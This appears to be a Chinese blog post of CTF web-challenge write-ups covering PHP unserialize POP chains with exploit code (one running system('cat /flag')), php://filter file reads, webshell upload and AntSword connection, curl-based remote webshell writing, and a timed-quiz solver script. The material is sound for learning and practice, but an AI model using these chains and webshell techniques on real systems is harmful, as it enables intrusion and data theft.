Web 题记

SHCTF Week2 serialize

分析代码,和平时不一样,有一个点:如何从get()->__tostring(),tostring的触发条件是当一个类对象被当作字符串时触发,那么显然我们想触发tostring,需要利用die这个函数,但我们在调用die之前调用了miaomiao这个方法,将a进行了提前赋值,这个时候可以看到die()前面的一串:this->gao=$this->fei;然后还有check函数以及基础的传参trick需要绕过,去网上搜一搜绕过方式,备注:php会将所传参数中的不合法符号替换为“_”

<?php
highlight_file(__FILE__);
class misca{
    public $gao;
    public $fei;
    public $a;
    public function __get($key){
        $this->miaomiao();
        $this->gao=$this->fei;
        die($this->a);
    }
    public function miaomiao(){
        $this->a='Mikey Mouse~';
    }
}
class musca{
    public $ding;
    public $dong;
    public function __wakeup(){
        return $this->ding->dong;
    }
}
class milaoshu{
    public $v;
    public function __tostring(){
        echo"misca~musca~milaoshu~~~";
        include($this->v);
    }
}
function check($data){
    if(preg_match('/^O:\d+/',$data)){
        die("you should think harder!");
    }
    else return $data;
}
unserialize(check($_GET["wanna_fl.ag"]));

 构造链子

<?php
class musca{
    public $ding;
    public $dong;
    public function __construct(){
        $this->ding=new misca;
    }
}
class misca{
    public $gao;
    public $fei;
    public $a;
    public function __construct(){
        $this->fei=new milaoshu;
        $this->gao=&$this->a;
    }
}
class milaoshu{
    public $v='php://filter/convert.base64-encode/resource=flag.php';
}
$a=new musca;
echo serialize(array($a));
?>

SHCTF Week3  快问快答

进页面是需要回答数学题,查看源码发现有提示

题目要求在两秒之内解答,根据题目写脚本

import requests
import re
import time

session = requests.Session()
url = 'http://112.6.51.212:30442/'
for i in range(50):
    # try:
    response = session.get(url,verify=False)
    x = response.text
    # 定义正则表达式模式

    pattern = r'<h3>(.*?)</h3>'

    # 使用 re 模块的 findall 方法匹配所有符合模式的字符串
    result = re.findall(pattern, x)[0].split('=')
    print(result)
    answer = eval(result[0][3:].replace('x','*').replace('÷','//').replace('异或','^').replace('与','&'))
    print(answer)
    data = {
        'answer': str(answer),
        }
    time.sleep(1)
    x2 = session.post(url,data=data)
    # print(x2.text)
    print(re.findall(r'<p>(.*?)</p>', x2.text))
    print(re.findall(r'<p class="message">(.*?)</p class="message">', x2.text))
print(x2.text)

50道题后出flag

[羊城杯 2020]easycon

进入页面后是一个Apache页面,直接搜发现有XXE漏洞

用扫描工具扫一下

访问index.php发现弹窗,直接蚁剑连接

但是我连上后好像那个文件被人删掉了,看别人说是一个base64加密文本解码后得到一个含有flag的图片

攻防世界 php2

源码里面什么都没用,那就扫一下看看有没有隐藏文件

访问一下发现没啥变化,这里学到了新知识:phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。其实,只要不用php等已经在服务器中注册过的MIME类型为文件即可,但为了国际通用,所以才用了phps文件类型。

所以访问index.phps文件

记得传参需要回到index.php页面

admin进行url编码一次后传入,浏览器会将它解码为admin,于是在admin编码的基础上再一次编码 

Geek  EzHttp

爬虫访问不到,那就是robots.txt

得到账号密码,传进去

传进去之后就一直跟着提示改头就行了,不过这里也是知道了一个新的知识点:在添加头的时候:后面得留一个空格,还有就是via可以用来伪造代理

Geek easy_php

GET传参:

 syc=Welcome+to+GEEK+2023!%0a&lover=2022e1

 POST传参:

 qw[]=1&yxx[]=2&SYC[GEEK.2023=Happy to see you!

 Geek unsign

 常见的魔术方法:

__construct()   当一个对象创建时被调用,
__destruct()   当一个对象销毁时被调用,
__toString()   当一个对象被当作一个字符串被调用。
__wakeup()   使用unserialize时触发
__sleep()    使用serialize时触发
__destruct()    对象被销毁时触发
__call()    在对象上下文中调用不可访问的方法时触发
__callStatic()    在静态上下文中调用不可访问的方法时触发
__get()    用于从不可访问的属性读取数据
__set()    用于将数据写入不可访问的属性
__isset()    在不可访问的属性上调用isset()或empty()触发
__unset()     在不可访问的属性上使用unset()时触发
__toString()    把类当作字符串使用时触发,返回值需要为字符串
__invoke()   当脚本尝试将对象调用为函数时触发

 源码:

<?php
highlight_file(__FILE__);
class syc
{
    public $cuit;
    public function __destruct()
    {
        echo("action!<br>");
        $function=$this->cuit;
        return $function();
    }
}

class lover
{
    public $yxx;
    public $QW;
    public function __invoke()
    {
        echo("invoke!<br>");
        return $this->yxx->QW;
    }

}

class web
{
    public $eva1;
    public $interesting;

    public function __get($var)
    {
        echo("get!<br>");
        $eva1=$this->eva1;
        $eva1($this->interesting);
    }
}
if (isset($_POST['url'])) 
{
    unserialize($_POST['url']);
}

?>

exp:

<?php
highlight_file(__FILE__);
class syc
{
    public $cuit;
}

class lover
{
    public $yxx;
    public $QW;
}

class web
{
    public $eva1='system';
    public $interesting='cat /flag';
}
$s=new syc();
$l=new lover();
$w=new web();
$s->cuit=$l;
$l->yxx=$w;
$w->var=1;
echo serialize($s);

Geek n00b_Upload

直接传一句话木马

变形

这样就能上传成功,但是得把jpg后缀抓包改掉,不然没办法解析

命令执行或者连接蚁剑

Geek ctf_curl

利用curl,那就去了解一下curl命令,审计代码发现,任何写入到 /dev/null 的数据都会被丢弃,而不会保留或显示在屏幕上。也就是说所有内容都不会显示在屏幕上

因为|被过滤了,所以不能用反弹shell的方法

利用远程写入文件,参考下面文章

绕过限制利用curl读取写入文件-安全客 - 安全资讯平台

 这个题得需要用公网服务器,但是我用内网复现一下思路

在本地服务器写入webshell,利用curl命令写入,先开启端口

写入到目标服务器,可以看到桌面上已经有了这个文件

在这个题目中,就是相当于这个文件已经写入到了里面,然后访问/tmp/Syclover即可

Geek famale_imp_l0ve

[NISACTF 2022]easyssrf

说是让curl,但是试了好几个都没东西

尝试其他方法,题目是ssrf,那利用伪协议读一下/flag

发现有提示,访问该文件

这里需要了解一下stristr()函数:该函数是不区分大小写,搜索字符串在另一字符串中的第一次出现。尝试伪协议读取文件

php://filter/read=convert.base64-encode/resource=/flag

  • 20
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值